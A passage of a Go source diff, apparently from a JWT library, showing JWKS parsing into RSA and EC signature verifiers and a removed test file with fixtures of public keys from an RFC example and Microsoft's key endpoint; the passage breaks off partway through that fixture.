v, err := newVerifierPS(Algorithm(alg), k)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create RSA-PSS verifier for algorithm %s: %w", alg, err)
|
||||
}
|
||||
vs = append(vs, &verifier{
|
||||
Verifier: v,
|
||||
|
||||
key: k,
|
||||
alg: alg,
|
||||
kid: key.Kid,
|
||||
})
|
||||
}
|
||||
case "EC":
|
||||
if key.Crv == "" || key.X == "" || key.Y == "" {
|
||||
return nil, fmt.Errorf("jwks key without crv or x or y found")
|
||||
}
|
||||
decX, err := base64.RawURLEncoding.DecodeString(key.X)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to decode jwks key x: %w", err)
|
||||
}
|
||||
decY, err := base64.RawURLEncoding.DecodeString(key.Y)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to decode jwks key y: %w", err)
|
||||
}
|
||||
var curve elliptic.Curve
|
||||
var alg Algorithm
|
||||
switch key.Crv {
|
||||
case "P-256":
|
||||
curve = elliptic.P256()
|
||||
alg = ES256
|
||||
case "P-384":
|
||||
curve = elliptic.P384()
|
||||
alg = ES384
|
||||
case "P-521":
|
||||
curve = elliptic.P521()
|
||||
alg = ES512
|
||||
default:
|
||||
return nil, fmt.Errorf("jwk %s crv %q unsupported", key.Kty, key.Crv)
|
||||
}
|
||||
|
||||
if key.Alg != "" && key.Alg != string(alg) {
|
||||
return nil, fmt.Errorf("jwk alg: %s does not match curve: %s", key.Alg, key.Crv)
|
||||
}
|
||||
|
||||
x := big.NewInt(0).SetBytes(decX)
|
||||
y := big.NewInt(0).SetBytes(decY)
|
||||
if !curve.IsOnCurve(x, y) {
|
||||
return nil, fmt.Errorf("jwk %s key invalid; x,y are not on curve %s", key.Kty, key.Crv)
|
||||
}
|
||||
|
||||
k := &ecdsa.PublicKey{
|
||||
Curve: curve,
|
||||
X: x,
|
||||
Y: y,
|
||||
}
|
||||
|
||||
v, err := newVerifierES(alg, k)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create ES verifier for algorithm %s: %w", alg, err)
|
||||
}
|
||||
vs = append(vs, &verifier{
|
||||
Verifier: v,
|
||||
|
||||
key: k,
|
||||
alg: string(alg),
|
||||
kid: key.Kid,
|
||||
})
|
||||
default:
|
||||
return nil, fmt.Errorf("unsupported jwk.KTY: %s; want RSA or EC", key.Kty)
|
||||
}
|
||||
}
|
||||
|
||||
return &VerifierPool{
|
||||
matchKid: true,
|
||||
vs: vs,
|
||||
}, nil
|
||||
}
|
||||
@@ -1,234 +0,0 @@
|
||||
package jwt
|
||||
|
||||
import (
|
||||
"crypto/ecdsa"
|
||||
"crypto/rsa"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestParseJWKs_RSA(t *testing.T) {
|
||||
f := func(resp []byte) {
|
||||
t.Helper()
|
||||
|
||||
vp, err := ParseJWKs(resp)
|
||||
if err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
|
||||
if len(vp.vs) != 1 {
|
||||
t.Fatalf("expected 1 key, got %d", len(vp.vs))
|
||||
}
|
||||
|
||||
v0 := vp.vs[0]
|
||||
|
||||
if v0.alg != "RS256" {
|
||||
t.Fatalf("expected RS256 algorithm, got %s", v0.alg)
|
||||
}
|
||||
if v0.kid == "" {
|
||||
t.Fatalf("expected non-empty kid")
|
||||
}
|
||||
|
||||
k, ok := v0.key.(*rsa.PublicKey)
|
||||
if !ok {
|
||||
t.Fatalf("expected rsa.PublicKey, got %T", v0.key)
|
||||
}
|
||||
|
||||
if k.E != 65537 {
|
||||
t.Fatalf("expected E=65537, got %d", k.E)
|
||||
}
|
||||
}
|
||||
|
||||
f([]byte(`
|
||||
{
|
||||
"keys": [
|
||||
{
|
||||
"kty": "RSA",
|
||||
"alg": "RS256",
|
||||
"use": "sig",
|
||||
"kid": "9c4d20a55ea37499b9f507f913566e5c",
|
||||
"e": "AQAB",
|
||||
"n": "yfAcjabVvhgdyNWI-2GDNX_yfrKI7dpBHJ1y2qTOTOFSZ1yN2d_bTiO-Xf6iB392xr7rfwmSUBDPqRY596PKAqVGeq7mgBBNBqJ8WJkBlbqXScAPgbzIH38TmaPilBczUIVOs426gdK3cBjFGarNssMqrn2DaNyW2VXNNUuC4yCcr5HLeChIHWejVFNJTVHrqE7ozYxt3YgNW8j3AuwIlUROxLCS8y-bgZtHLeiRcWGZpN6QeKAeWF28p_HdP1-N9_nznVlY09bpNQSWt_mdeuC7Jpy6ZkFX_396IOH9eG8OWku6Se091uEaJ8E96R1mg8MkOgCMOLt5H11AM9w5Bw8jlu_lWJTi-ugMU9hsEqkVeMLUN9UPiKzwtQbGotfaxkKqwcj5GAcTQMPdczgNykpA4RytwMS-2xkPvmb97Ezr6vbWrrfR_fY2Tu9WngTrJcMWCNri_8knIxeq6CpC8jrdzCdCcwB75PmZI6Jt-C18KYlfDEVmaOa0Kdd1yYobccIHBr2VL90BqrOyDiOscnQ4nBg5LA2haZ1QJXsvcjFka6bu1d2Q9PF3czEUjXMXQrId3hftOqJLRHjHgcc_mq5SgzLKmyXyHhRaaT90v7OnlJDEptrAyM6K3fqZvgKqbS0l94o6pwg6Pu5VpuKpy3oJjHUfjm8xbiaUcL13N6s"
|
||||
}
|
||||
]
|
||||
}
|
||||
`))
|
||||
|
||||
// Example key from https://www.rfc-editor.org/rfc/rfc7517#appendix-A.1
|
||||
f([]byte(`
|
||||
{
|
||||
"keys": [
|
||||
{
|
||||
"kty": "RSA",
|
||||
"alg": "RS256",
|
||||
"kid": "2011-04-29",
|
||||
"e": "AQAB",
|
||||
"n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw"
|
||||
}
|
||||
]
|
||||
}
|
||||
`))
|
||||
}
|
||||
|
||||
func TestParseJWKs_EC(t *testing.T) {
|
||||
f := func(resp []byte) {
|
||||
t.Helper()
|
||||
|
||||
vp, err := ParseJWKs(resp)
|
||||
if err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
|
||||
if len(vp.vs) != 1 {
|
||||
t.Fatalf("expected 1 key, got %d", len(vp.vs))
|
||||
}
|
||||
v0 := vp.vs[0]
|
||||
_, ok := v0.key.(*ecdsa.PublicKey)
|
||||
if !ok {
|
||||
t.Fatalf("expected ecdsa.PublicKey, got %T", v0.key)
|
||||
}
|
||||
}
|
||||
|
||||
// Example key from https://www.rfc-editor.org/rfc/rfc7517#appendix-A.1
|
||||
f([]byte(`
|
||||
{
|
||||
"keys": [
|
||||
{
|
||||
"kty": "EC",
|
||||
"kid": "1",
|
||||
"crv": "P-256",
|
||||
"y": "4Etl6SRW2YiLUrN5vfvVHuhp7x8PxltmWWlbbM4IFyM",
|
||||
"x": "MKBCTNIcKUSDii11ySs3526iDZ8AiTo7Tu6KPAqv7D4"
|
||||
}
|
||||
]
|
||||
}
|
||||
`))
|
||||
}
|
||||
|
||||
func TestParseMultipleKeys(t *testing.T) {
|
||||
// Microsoft JWKS keys
|
||||
// https://login.microsoftonline.com/common/discovery/v2.0/keys
|
||||
raw := []byte(`
|
||||
{
|
||||
"keys": [
|
||||
{
|
||||
"kty": "RSA",
|
||||
"use": "sig",
|
||||
"kid": "sM1_yAxV8GV4yN-B6j2xzmik5Ao",
|
||||
"x5t": "sM1_yAxV8GV4yN-B6j2xzmik5Ao",
|
||||
"n": "pzQ8qb-1iwOmoaefhsaC22jjZ_u4AHsyTRDofsjXif9Zs8ACL8WlnlsFl5vRNUcN75-682CHeaOdhZxD4D20D0k9fRJA1WB-4FUZ9KVkjWyLPtY4VmjiVw7wsPwj018I1a1nmeEJME7BJvFOzqZGmX2GuZ8QkqZnQYCLnW5wobPRE009rlKql9c0VcFegzd-uAtATLslW568UaEAWyA4wdOKW_XC1YdIPFic8rtme-y_6tPK8Vb01pP7zauxXg84pGtWey-brc1JL4lmXKlRx7SNQCGn80kgbt1Vu05OOpA444-ckH0uU8kI6eZmghqOSt90EdvR0Lw47SALd-UfhQ",
|
||||
"e": "AQAB",
|
||||
"x5c": [
|
||||
"MIIC/jCCAeagAwIBAgIJAKnu4SM8gOE6MA0GCSqGSIb3DQEBCwUAMC0xKzApBgNVBAMTImFjY291bnRzLmFjY2Vzc2NvbnRyb2wud2luZG93cy5uZXQwHhcNMjYwMTI1MjEwMzQ4WhcNMzEwMTI1MjEwMzQ4WjAtMSswKQYDVQQDEyJhY2NvdW50cy5hY2Nlc3Njb250cm9sLndpbmRvd3MubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApzQ8qb+1iwOmoaefhsaC22jjZ/u4AHsyTRDofsjXif9Zs8ACL8WlnlsFl5vRNUcN75+682CHeaOdhZxD4D20D0k9fRJA1WB+4FUZ9KVkjWyLPtY4VmjiVw7wsPwj018I1a1nmeEJME7BJvFOzqZGmX2GuZ8QkqZnQYCLnW5wobPRE009rlKql9c0VcFegzd+uAtATLslW568UaEAWyA4wdOKW/XC1YdIPFic8rtme+y/6tPK8Vb01pP7zauxXg84pGtWey+brc1JL4lmXKlRx7SNQCGn80kgbt1Vu05OOpA444+ckH0uU8kI6eZmghqOSt90EdvR0Lw47SALd+UfhQIDAQABoyEwHzAdBgNVHQ4EFgQU8KOkOebJetKfQWQMnMmIvxlkRB0wDQYJKoZIhvcNAQELBQADggEBABlckHkuXxRPlCY0wIFz2K6x5TBGfyXnffHUT2/0sMYC/5jC1bAxjUS2TfU2ziidolkJSsvEw34GvGyMZcySkNiOzVtSMi2kDYLQpHxBrR3nYftv8wUHazTq1VX2UDbPWIjl47CqEYjx/tboqttiWoe37zqp8tLkvRF6pd2UMVFGMoLa1Y2l1+kWrhQBfFngDvbj2Tuk556f17dyJB57babjL+KUZHXRY126z8Lt6Gs0bH3c5JJePJJbLdWcMx8mP3DKmzyva6Y5GYqG320SNfBB9rXxllJoFRc4zyRe52NKSZbphzUVWLank2Zxe3wvN+6zTXSpSJpU4zEA4bsvmlw="
|
||||
],
|
||||
"cloud_instance_name": "microsoftonline.com",
|
||||
"issuer": "https://login.microsoftonline.com/{tenantid}/v2.0"
|
||||
},
|
||||
{
|
||||
"kty": "RSA",
|
||||
"use": "sig",
|
||||
"kid": "2wbgurt7VVnZZlR3EY6QlPdzlYo",
|
||||
"x5t": "2wbgurt7VVnZZlR3EY6QlPdzlYo",
|
||||
"n": "vMf5SDVxCoXm_9Q9XYhjB2G1f0C3INmriNirCSWZA3Cbm2hgCK8VfnRRbOgnHTvfoJDUkU_ujUkGmFwSFQzIlXrmzXhPcDcV0Xhuk___jqqX2Pghi1zumKwUuq-oQTfBChLOgv37qLHu3z1n0vPtXNdEYNKL4hPxrvbk84E1xvdnSnv5KUIt1ZEDi34xiEn2ug086FG7_I9QsPQ7ebazISan03nXC0yMwcIwI4GoRk0qDOuIU6Ba4sIudzAahtGVuI_cZlYODm6Df8O5mPnOZd1KoqzHfffn38ZnKpZEs2CB1xUQak3zUAe4eO2WW1xSHo3nvQiV9lyP6bO7t0ADTw",
|
||||
"e": "AQAB",
|
||||
"x5c": [
|
||||
"MIIC/jCCAeagAwIBAgIJANt8LDdsywkEMA0GCSqGSIb3DQEBCwUAMC0xKzApBgNVBAMTImFjY291bnRzLmFjY2Vzc2NvbnRyb2wud2luZG93cy5uZXQwHhcNMjYwMjA1MDcwMjUxWhcNMzEwMjA1MDcwMjUxWjAtMSswKQYDVQQDEyJhY2NvdW50cy5hY2Nlc3Njb250cm9sLndpbmRvd3MubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvMf5SDVxCoXm/9Q9XYhjB2G1f0C3INmriNirCSWZA3Cbm2hgCK8VfnRRbOgnHTvfoJDUkU/ujUkGmFwSFQzIlXrmzXhPcDcV0Xhuk///jqqX2Pghi1zumKwUuq+oQTfBChLOgv37qLHu3z1n0vPtXNdEYNKL4hPxrvbk84E1xvdnSnv5KUIt1ZEDi34xiEn2ug086FG7/I9QsPQ7ebazISan03nXC0yMwcIwI4GoRk0qDOuIU6Ba4sIudzAahtGVuI/cZlYODm6Df8O5mPnOZd1KoqzHfffn38ZnKpZEs2CB1xUQak3zUAe4eO2WW1xSHo3nvQiV9lyP6bO7t0ADTwIDAQABoyEwHzAdBgNVHQ4EFgQUKItP7WFIpP7HiCxLoCKxEwI4mf8wDQYJKoZIhvcNAQELBQADggEBAJEAWl7Td/JZ99Dfk8Q6Q936uJWNbJd1Tzcoi8YWi2QrVUtTXGi80mpwi1iqjizlr6QJAicw7Xdw2noCJz1eYZeKe4X05ILUwNJh4plOMbWxa5IavXUOaDZLcv2PsGa1gmiUZYdQR7vmOVA8aSUlTqpj7h2pG2mmc/d5YVLXg1LhN+yGA3SnKolB489AhB76zJClzC5XVF+89rRpMmusxovsjNW+T7feJlHF3xi7W4hcIocSokxAXTkodNLdxtDndJA2EbPPhGJK19FE9fxGfUld09HbPZrFK0f9Xakmgj/TVkXJ/oJIsfofO4abCGnQ5KmpHU7XxctmQLXzBj4wzEI="
|
||||
],
|
||||
"cloud_instance_name": "microsoftonline.com",
|
||||
"issuer": "https://login.microsoftonline.com/{tenantid}/v2.0"
|
||||
},
|
||||
{
|
||||
"kty": "RSA",
|
||||
"use": "sig",
|
||||
"kid": "QZgN9HqNkGNEM4GeKczD02PcVv4",
|
||||
"x5t": "QZgN9HqNkGNEM4GeKczD02PcVv4",
|
||||
"n": "idcSMX9CVqoiodieQh7OBbrY7crFiqsAtx-KjlpU7-0B9dyDW7zeiiPnx7SAb0J8fBmb7O12v4U4BHIJYSiFRxxGaFpOvparNwCJdxCJk69Ozs03MBcoO0p7cYQQZGCE8HjBF7z9mVUGIvgSYBvtwg7fUt2k-89itOgIzzpF8Jm9nBHNgSO8Zvv99pF1IfeHyVo0eITIUbQrPYvW5rA0eKyjRXygeKFFSSnaZweKOJmCdXX6undRzDObUP3rMbv-IFMDNsM4j_aBL-5vDVKpn7Au7MhBbr83xv6o6RFDWycljjTaGpYET_ueL_or-ehyf84ZRHVZpqOZefPNtZeZfw",
|
||||
"e": "AQAB",
|
||||
"x5c": [
|
||||
"MIIC/TCCAeWgAwIBAgIILaami+xa9gMwDQYJKoZIhvcNAQELBQAwLTErMCkGA1UEAxMiYWNjb3VudHMuYWNjZXNzY29udHJvbC53aW5kb3dzLm5ldDAeFw0yNjAyMjEwNTAzMDZaFw0zMTAyMjEwNTAzMDZaMC0xKzApBgNVBAMTImFjY291bnRzLmFjY2Vzc2NvbnRyb2wud2luZG93cy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCJ1xIxf0JWqiKh2J5CHs4FutjtysWKqwC3H4qOWlTv7QH13INbvN6KI+fHtIBvQnx8GZvs7Xa/hTgEcglhKIVHHEZoWk6+lqs3AIl3EImTr07OzTcwFyg7SntxhBBkYITweMEXvP2ZVQYi+BJgG+3CDt9S3aT7z2K06AjPOkXwmb2cEc2BI7xm+/32kXUh94fJWjR4hMhRtCs9i9bmsDR4rKNFfKB4oUVJKdpnB4o4mYJ1dfq6d1HMM5tQ/esxu/4gUwM2wziP9oEv7m8NUqmfsC7syEFuvzfG/qjpEUNbJyWONNoalgRP+54v+iv56HJ/zhlEdVmmo5l58821l5l/AgMBAAGjITAfMB0GA1UdDgQWBBQNpQkCxHV1tY+HilDxZ/NuMvS8BDANBgkqhkiG9w0BAQsFAAOCAQEATelFDXIrDxeJ+G+3ERppylvf/oEBkIsNnii8sg+zVltSJ4TC4OBrGC80vwDkxQVOGJBjYk9sYnMsHkKeYkFsCOK25DbhDB2GLhFnNUYzctPrwd/HLcFFgrNxM5xNvGdEQq5uRhELD0mJg3tfaWlVXOpLXifpjvE7sdT3wDzMl9S5iefqS00Qk3OwKPw9i9nfRsmawTaIQScxuX4RHS9K0Xjilr1K0FN8JSNXSLD7PjmBYcJqa/jeMsK+J7SyLXJr3rkMCD5UOsy18+QEpwzJhVtqgcOlKrgtN4W6JQCNfLWYUy1id6/YhIpJyU/9zHpfCR8TFNsMpdl0FG7IzrHYiA=="
|
||||
],
|
||||
"cloud_instance_name": "microsoftonline.com",
|
||||
"issuer": "https://login.microsoftonline.com/{tenantid}/v2.0"
|
||||
},
|
||||
{
|
||||
"kty": "RSA",
|
||||
"use": "sig",
|
||||
"kid": "0KXs6yMcBGY0Kgs4pBP7wck44Vk",
|
||||
"x5t": "0KXs6yMcBGY0Kgs4pBP7wck44Vk",
|
||||
"n": "iLRVwHm_zFslYk3TAqM-ont1fxyvsUPfuc9W_zvAs-d0aGc1-iiUVWLUGsuPQ3kUuoW_GnXoeP2zGWqaKHWPAdLLttPtc2tvVcIWtbnc_wPpHM3BPwt64FjKlw4z5FTrVHmlClRZ61FvJCf1jTpI7VdoF06VtfDbamQH9j9OywrrUuh3A2-0CGKX8FYKilLoR1ZIJ01eKYIO79cxY9F2tjxocW0I61Hrqbj3EAdh1sD9ibKHKd5u1pvFarGhNXfzOK78pUVZCtaNgUxr2PzY5h7D67bePD8ULj88s3Jz6CvnDkh5n-nIA_ErtdHVtV5hz-00jaHtVM2NjPHN5O3ehQ",
|
||||
"e": "AQAB",
|
||||
"x5c": [
|
||||
"MIIC/TCCAeWgAwIBAgIIFySsKaILgHAwDQYJKoZIhvcNAQELBQAwLTErMCkGA1UEAxMiYWNjb3VudHMuYWNjZXNzY29udHJvbC53aW5kb3dzLm5ldDAeFw0yNjAzMDIxMjAzNDBaFw0zMTAzMDIxMjAzNDBaMC0xKzApBgNVBAMTImFjY291bnRzLmFjY2Vzc2NvbnRyb2wud2luZG93cy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCItFXAeb/MWyViTdMCoz6ie3V/HK+xQ9+5z1b/O8Cz53RoZzX6KJRVYtQay49DeRS6hb8adeh4/bMZapoodY8B0su20+1za29Vwha1udz/A+kczcE/C3rgWMqXDjPkVOtUeaUKVFnrUW8kJ/WNOkjtV2gXTpW18NtqZAf2P07LCutS6HcDb7QIYpfwVgqKUuhHVkgnTV4pgg7v1zFj0Xa2PGhxbQjrUeupuPcQB2HWwP2Jsocp3m7Wm8VqsaE1d/M4rvylRVkK1o2BTGvY/NjmHsPrtt48PxQuPzyzcnPoK+cOSHmf6cgD8Su10dW1XmHP7TSNoe1UzY2M8c3k7d6FAgMBAAGjITAfMB0GA1UdDgQWBBRyx0Mbnolq6hAcMxd9lE9M5tu2ujANBgkqhkiG9w0BAQsFAAOCAQEANnN3fo0oBEy86wBcPOx+bxwdb8SK3JFl4tZenwOCqHuJlC6e6MXyUZaZn/E5Do7otf3ehuNHCQePKBKnb/D54ccgrKEKKvOLUaN8YugJJiz/lbm6ZnA6DU+RBnUysmjCuVwnVO8xZidmnBuFh7ltVUzsWYgU7RGqns76rPWyxl1PglUOvTf0JvX7u8wlkmq4pA1QdNScVQ8e7oA2ri0G3GgA9CKuTPBx2tz+RTOBWQLkGU63/usEsfYXTbN8fUnt2UjP0ys8zONuor8txeWAx1+jEg5qf8PPZ7NpQ2Kw9KWJ1zDCuC/AlvZx1JMZE84g0qaPXlO1sz4Jg/VJbe8H6Q=="
|
||||
],
|
||||
"cloud_instance_name": "microsoftonline.com",
|
||||
"issuer": "https://login.microsoftonline.com/{tenantid}/v2.0"
|
||||
},
|
||||
{
|
||||
"kty": "RSA",
|
||||
"use": "sig",
|
||||
"kid": "jKqmfMT6oL38waSSOcP1_5_KkAM",
|
||||
"x5t": "jKqmfMT6oL38waSSOcP1_5_KkAM",
|
||||
"n": "te3bGRsKDjomAcEVy1NPWbls_M_kzFEv1rzAE8DdJl-cl2je9IT4FCbLD2-hPhGIYXnNs_H-pMyPisHPGa3OXNHgF6pAIr1cRwykt5WdzFXywr5uKzVn-hdhWjBicsCdOYu0OlDs4CNc8HwRNKr_b3zHkKDSa5LG2J3xtmNqMFw6IE6daVVslX4MOx_U3WzOf4fHqTTSSEJ7aPCdNwcEhC94e5qGFV79AL6bHzg5lZ8AyE2u8rXSAYtuuAZ0RU_jtXRVO0MX3RjR299bJkPqB02ODIORGQ46e5K3WxApHY5oKxFzArYSuCvykODBkG2k7KQABax95eePTgMAnMGSuw",
|
||||
"e": "AQAB",
|
||||
"x5c": [
|
||||
"MIIC6TCCAdGgAwIBAgIIUPPNaxtnTWwwDQYJKoZIhvcNAQELBQAwIzEhMB8GA1UEAxMYbG9naW4ubWljcm9zb2Z0b25saW5lLnVzMB4XDTI2MDIwNDE3MDEzNloXDTMxMDIwNDE3MDEzNlowIzEhMB8GA1UEAxMYbG9naW4ubWljcm9zb2Z0b25saW5lLnVzMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAte3bGRsKDjomAcEVy1NPWbls/M/kzFEv1rzAE8DdJl+cl2je9IT4FCbLD2+hPhGIYXnNs/H+pMyPisHPGa3OXNHgF6pAIr1cRwykt5WdzFXywr5uKzVn+hdhWjBicsCdOYu0OlDs4CNc8HwRNKr/b3zHkKDSa5LG2J3xtmNqMFw6IE6daVVslX4MOx/U3WzOf4fHqTTSSEJ7aPCdNwcEhC94e5qGFV79AL6bHzg5lZ8AyE2u8rXSAYtuuAZ0RU/jtXRVO0MX3RjR299bJkPqB02ODIORGQ46e5K3WxApHY5oKxFzArYSuCvykODBkG2k7KQABax95eePTgMAnMGSuwIDAQABoyEwHzAdBgNVHQ4EFgQUcQ1LalAwjaodlOFImHjdY5SEq+QwDQYJKoZIhvcNAQELBQADggEBAEHTX+gnaZ1hoGmls5yFEQWOrIahSBjC1WuBKmRTDW6FV7jjRyIxdhQgsRFYvMpAioNnDlvOIyA90SflIF035XdWrHv/4ROtq+xvsNgtV3D4AB5mr4VPG0OvpTwfLt4WXzD33nFsf42wRAe1MASB2Y2mw6rarUC9d+oPqd/qXfkYoX8oUPW6RfkD/V3oEW9dU+Et8dAobxqBbIN+Fncvlm4jTFR6WsMsdjaBOh085PipB96Fyh1PCFRRNZ9zzdomCMid6sVkTwmOyn12g7YpmC1DQzQ3/91OX826L98fun2AIjOZP2X9Re8kMb/TmTTzeTHNeXyDL9dUT51dEYhCWbA="
|
||||
],
|
||||
"cloud_instance_name": "microsoftonline.us",
|
||||
"issuer": "https://login.microsoftonline.com/{tenantid}/v2.0"
|
||||
},
|
||||
{
|
||||
"kty": "RSA",
|
||||
"use": "sig",
|
||||
"kid": "IAzQT0lDZrQ9kAuCfAsMp74YGkA",
|
||||
"x5t": "IAzQT0lDZrQ9kAuCfAsMp74YGkA",
|
||||
"n": "r0MUNBLlVJlhOzSMz1gq7fKQ-VtRBGo5e0JoljylUqL14kqDaHwayhIc2o_Vx6sdo22p8-JQMPnBqMllGdgHZfNK28ROMvbdpRmWx4SdDgtmm9pTuZSCsZAh6IMT-MV7h5MqfqeoURhoqjScz5jLsGziO7fRvBrL0JPWrgk21XGguUGbdKRxBzlMTY4-5JPQ0GmJz81BQ4JVs6TB1flNSIQtjb2zC2q-fgWZBmhgmjSTgHDppiwIYUFKagQcxdFuVQM2HNlbWfELjiatlV1wgv-4SjEVDbuXRV7-EElfnKv4RgFlZFFqDcDbJqXlhnkBt_bZ1WH9c3QQcBoE2G0CBw",
|
||||
"e": "AQAB",
|
||||
"x5c": [
|
||||
"MIIC6jCCAdKgAwIBAgIJALXyS77AxpNPMA0GCSqGSIb3DQEBCwUAMCMxITAfBgNVBAMTGGxvZ2luLm1pY3Jvc29mdG9ubGluZS51czAeFw0yNjAyMjIxNzAwMzZaFw0zMTAyMjIxNzAwMzZaMCMxITAfBgNVBAMTGGxvZ2luLm1pY3Jvc29mdG9ubGluZS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK9DFDQS5VSZYTs0jM9YKu3ykPlbUQRqOXtCaJY8pVKi9eJKg2h8GsoSHNqP1cerHaNtqfPiUDD5wajJZRnYB2XzStvETjL23aUZlseEnQ4LZpvaU7mUgrGQIeiDE/jFe4eTKn6nqFEYaKo0nM+Yy7Bs4ju30bway9CT1q4JNtVxoLlBm3SkcQc5TE2OPuST0NBpic/NQUOCVbOkwdX5TUiELY29swtqvn4FmQZoYJo0k4Bw6aYsCGFBSmoEHMXRblUDNhzZW1nxC44mrZVdcIL/uEoxFQ27l0Ve/hBJX5yr+EYBZWRRag3A2yal5YZ5Abf22dVh/XN0EHAaBNhtAgcCAwEAAaMhMB8wHQYDVR0OBBYEFG+C3O9dX6jgCqwTGFkyIoWutm1WMA0GCSqGSIb3DQEBCwUAA4IBAQAwQAu3uzx782oGJov1kxv4kISw33up1g0MAWyr3Jn9eI0/b94TD4LCuGU+tcac/4YItYLb9fS9J3Vm3wPRYUFY1f31hDFBq4DfUR6MjZreWz/8w4n+vK+Vbjx0JJS2y/evqLjCQvPfuRrdnNltXPLhpOk1OHSD1fzgJsWHwTvm/SZtWFGwQVU1Tf/gbF6li/bAZ0HLawHhJFB+8tzGK+Rch4dhvrRjxMC3o3LpD8uZb0SDlv7j2Wu8liiT7juumoE+DKuVzW4z+6DJEokaysFVvnCVVMzYiHaOKwag4lVwqCaFSTWXMP3eDkRwI6AgwrMoDcSUZqom77QveVFf2J5L"
|
||||
],
|
||||
"cloud_instance_name": "microsoftonline.us",
|
||||
"issuer": "https://login.microsoftonline.com/{tenantid}/v2.0"
|
||||
},
|
||||
{
|
||||
"kty": "RSA",
|
||||
"use": "sig",
|
||||
"kid": "k4zFrp29E_BwFxDFO2POABSYaPE",
|
||||
"x5t": "k4zFrp29E_BwFxDFO2POABSYaPE",
|
||||
"n": "xqExU-10Y0VbAbyvZm4dJc8i3UQv8EJFl1xUWLlBwz4TuYnoPi4-mBFWSGgxITwHOhIYgXqElRG9Q_dwAyLwHNLcNFlY8NAp8uRLprr_OIbZ11uMk5pQPcuVwYK42bE2QDzsc_kSJcBIJYqCJ7Yo4EHYtLonl1sA9YuTeHXX121AgNIu7xrny68v7byjitk2JjpqOOE99d9AbOaoa-8EfUwq0cVwXMaN2fJyxM3RqajXrQHdf963q0iC1fkTWeWu6z4D1EyIra4bxKeCnFOlAzppPQEZpMPo7fZ-7c-uY5ZtAOBUJRKgeTaqps-ay5YdhWi1PXbcgtXpO3KGEYP-2Q",
|
||||
"e": "AQAB",
|
||||
"x5c": [
|
||||
"MIIDCzCCAfOgAwIBAgIRAMrLjv9zRXDW1wfXY4dTbFQwDQYJKoZIhvcNAQELBQAwKTEnMCUGA1UEAxMeTGl2ZSBJRCBTVFMgU2lnbmluZyBQdWJsaWMgS2V5MB4XDTI2MDIyMzExMzEzM1oXDTMxMDIyMzExMzEzM1owKTEnMCUGA1UEAxMeTGl2ZSBJRCBTVFMgU2lnbmluZyBQdWJsaWMgS2V5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxqExU+10Y0VbAbyvZm4dJc8i3UQv8EJFl1xUWLlBwz4TuYnoPi4+mBFWSGgxITwHOhIYgXqElRG9Q/dwAyLwHNLcNFlY8NAp8uRLprr/OIbZ11uMk5pQPcuVwYK42bE2QDzsc/kSJcBIJYqCJ7Yo4EHYtLonl1sA9YuTeHXX121AgNIu7xrny68v7byjitk2JjpqOOE99d9AbOaoa+8EfUwq0cVwXMaN2fJyxM3RqajXrQHdf963q0iC1fkTWeWu6z4D1EyIra4bxKeCnFOlAzppPQEZpMPo7fZ+7c+uY5ZtAOBUJRKgeTaqps+ay5YdhWi1PXbcgtXpO3KGEYP+2QIDAQABoy4wLDAdBgNVHQ4EFgQUvmSlvAma7n9cmgjqR3MPcFtXEwYwCwYDVR0PBAQDAgLEMA0GCSqGSIb3DQEBCwUAA4IBAQB1z6SKorx1xQIdwz+yv42VzKGdAPrPOoVq5Pe8Y2R+AEwCoF4aRxdxnyae6264a0kUSs+tubfY1uhFYIEH3vCDGtqCyuaFwqr+5blExipycZa1eMrWlOa3jDulXYg+FSP74wNyddNxbI3778LTTFT953c1CltvYgCNlXKgKZkglsc4L2EnAet4XhfZbY0Q5eP5CkgyM5sHLP6ywjXfIOFEwzVxcNlj2dcINIfjkZh5A7kpEBTwT7gPoUGWrBe+JbNpzkvFpKOmuQH29A38BtRaJGQ59MfFblqrqTGyMEvWNsAV/aQ7Qcu/cQZQp1tDc+YaKkEqPDz5m3O67yDT8Dkw"
|
||||
],
|
||||
"cloud_instance_name": "microsoftonline.com",
|
||||
"issuer": "https://login.microsoftonline.com/9188040d-6c67-4c5b-b112-36a304b66dad/v2.0"
|
||||
},
|
||||
{
|
||||
"kty": "RSA",
|
||||
"use": "sig",
|
||||
"kid": "RKyMV69ovghTbBgMZM9O03u-jlM",
|
||||
"x5t": "RKyMV69ovghTbBgMZM9O03u-jlM",
|
||||
